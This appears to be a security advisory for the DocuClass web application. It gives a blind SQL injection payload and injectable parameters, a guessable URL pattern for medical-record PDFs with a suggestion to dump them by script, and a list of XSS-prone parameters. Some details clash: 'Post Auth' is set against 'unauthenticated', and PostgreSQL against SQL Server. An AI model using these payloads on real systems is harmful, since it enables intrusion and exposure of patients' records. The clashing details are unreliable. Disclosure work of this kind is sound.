Vulnerability Details

1. SQL Injection [Post Auth]

PoC

Vulnerable URLs & parameters:

A: POST request
/dcrpcserver.php [parameter - uid]
---
Parameter: uid (POST)
    Type: boolean-based blind
    Title: PostgreSQL boolean-based blind - Parameter replace
    Payload: cmd=searchform&action=getsavedqueries&node=&uid=(SELECT (CASE WHEN (7877=7877) THEN 7877 ELSE 1/(SELECT 0) END))
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.5
back-end DBMS: Microsoft SQL Server 2008

Impact
An unauthenticated attacker can read or modify data in the application database, execute code, and compromise the host system.

B: GET request
/e-forms/dcformsserver.exe?action=createimagepdf&documentid=1408648&userid=755 [parameter - userid]


2. Access Control Flaws
DocuClass web application does not enforce strict access control.

PoC:
http://IP/medical_records/0000001337/0000000000123456.pdf

Dump all the documents with a bit of scripting.

Impact
An unauthenticated user can access stored documents by directly calling the document url.

3. Cross-Site Scripting

DocuClass web application lacks strong input validation, and multiple urls & parameters are vulnerable to cross-site scripting (CWE-79) attacks.

/e-forms/dcformsserver.exe [action parameter]
/e-forms/dcformsserver.exe [documentid parameter]
/e-forms/dcformsserver.exe [userid parameter]
/reports_server.php [cmd parameter]
/reports_server.php [reportid parameter]
/reports_server.php [uid parameter]

Impact
An attacker may be able to execute arbitrary scripts/code in the context of the user's browser.
